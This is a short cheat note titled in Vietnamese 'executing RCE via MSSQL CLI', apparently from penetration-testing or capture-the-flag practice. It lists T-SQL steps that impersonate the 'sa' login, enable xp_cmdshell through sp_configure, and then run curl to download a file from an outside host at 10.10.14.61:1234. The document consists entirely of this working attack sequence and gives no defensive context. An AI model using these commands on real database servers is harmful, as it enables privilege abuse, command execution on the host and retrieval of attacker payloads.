Thực thi RCE via MSSQL CLI

-- Switch to the 'sa' user context

EXECUTE AS LOGIN='sa';

-- Enable advanced options

EXECUTE sp_configure 'show advanced options', 1;

RECONFIGURE;

-- Enable xp_cmdshell

EXECUTE sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

-- Use xp_cmdshell to download the file using curl

EXECUTE xp_cmdshell "curl http://10.10.14.61:1234/a";